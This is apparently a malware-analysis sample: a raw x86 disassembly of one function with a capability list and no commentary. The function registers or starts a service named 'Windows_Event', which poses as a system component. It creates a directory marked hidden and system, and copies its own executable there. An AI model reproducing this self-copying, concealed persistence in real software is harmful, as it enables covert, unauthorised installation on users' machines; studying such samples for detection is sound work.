Function at 0x10018129
Capabilities:
Copy file
Create directory
Set file attributes
Start service
Terminate process

Disassembly:
push 0x1f4
mov eax, 0x10041b53
call fcn.10039ffc
call fcn.100171cf
test eax, eax
je 0x100181d6
lea eax, [ebp - 0x134]
mov dword [ebp - 0x130], 0x100177b9
xor ebx, ebx
mov esi, str.Windows_Eventn
push eax
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x100184d5
push 0x20000
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x100184d5
push 0x10
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x100181ca
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
test eax, eax
je 0x100181c4
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x100184d5
lea ecx, [ebp - 0x1b8]
call fcn.100178fd
mov edi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x1a0]
call fcn.10017fba
mov byte [ebp - 4], 1
mov edx, eax
push 0x1004f24c
lea ecx, [ebp - 0x1d0]
call fcn.1001b6b1
pop ecx
mov esi, eax
mov byte [ebp - 4], 2
call fcn.1001803a
push eax
mov edx, esi
lea ecx, [ebp - 0x200]
call fcn.1001b6b1
mov byte [ebp - 4], 3
mov edx, eax
lea ecx, [ebp - 0x1e8]
mov dword [esp], 0x10050ae4
call fcn.1001b6b1
pop ecx
mov byte [ebp - 4], 4
mov edx, eax
push edi
lea ecx, [ebp - 0x154]
call fcn.1001b769
pop ecx
mov byte [ebp - 4], 6
xor esi, esi
push ebx
inc esi
lea ecx, [ebp - 0x1e8]
push esi
call fcn.1000176d
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x200]
push ebx
push esi
call fcn.1000176d
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1d0]
push ebx
push esi
call fcn.1000176d
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1a0]
push ebx
push esi
call fcn.1000176d
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1b8]
push ebx
push esi
call fcn.1000176d
cmp dword [ebp - 0x140], 0x10
lea eax, [ebp - 0x154]
push ebx
cmovae eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
cmp dword [ebp - 0x140], 0x10
lea eax, [ebp - 0x154]
push 7
cmovae eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x1c], 0x6578652e
mov byte [ebp - 0x18], bl
call fcn.10018099
push ecx
lea edx, [ebp - 0x154]
lea ecx, [ebp - 0x1a0]
call fcn.1001b6f7
pop ecx
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x12c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1b8]
call fcn.1001b6b1
pop ecx
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x16c]
call fcn.1001b6b1
pop ecx
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1b8]
push ebx
push esi
call fcn.1000176d
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1a0]
push ebx
push esi
call fcn.1000176d
lea ecx, [ebp - 0x184]
call fcn.10017f2f
mov byte [ebp - 4], 0x10
push ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x138], ebx
push ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x138], ebx
call fcn.1001b4e2
mov dword [ebp - 0x13c], eax
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x124]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
cmp dword [ebp - 0x158], 0x10
lea eax, [ebp - 0x16c]
push ebx
cmovae eax, dword [ebp - 0x16c]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x64
call esi
sub esp, 0x18
lea eax, [ebp - 0x184]
mov ecx, esp
mov dword [ebp - 0x188], esp
push eax
call fcn.100014b8
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x13c]
call fcn.10017ad4
lea eax, [ebp - 0x154]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.100014b8
mov byte [ebp - 4], 0x15
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x13c]
call fcn.10017e26
add esp, 0x18
lea ecx, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
cmovae ecx, dword [ebp - 0x16c]
xor edx, edx
call fcn.10021669
push 0x3e8
call esi
call fcn.100170a4
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x13c]
mov edi, dword [eax]
mov dword [eax], eax
mov eax, dword [ebp - 0x13c]
mov dword [eax + 4], eax
mov dword [ebp - 0x138], ebx
cmp edi, dword [ebp - 0x13c]
je 0x1001848f
mov esi, dword [edi]
lea ecx, [edi + 8]
push ebx
push 1
call fcn.1000176d
push edi
call fcn.10022c02
mov edi, esi
pop ecx
cmp esi, dword [ebp - 0x13c]
jne 0x10018471
mov byte [ebp - 4], 0x10
push dword [ebp - 0x13c]
call fcn.10022c02
pop ecx
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x184]
push ebx
push 1
call fcn.1000176d
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x16c]
push ebx
push 1
call fcn.1000176d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
push ebx
push 1
call fcn.1000176d
call fcn.10016a22
int3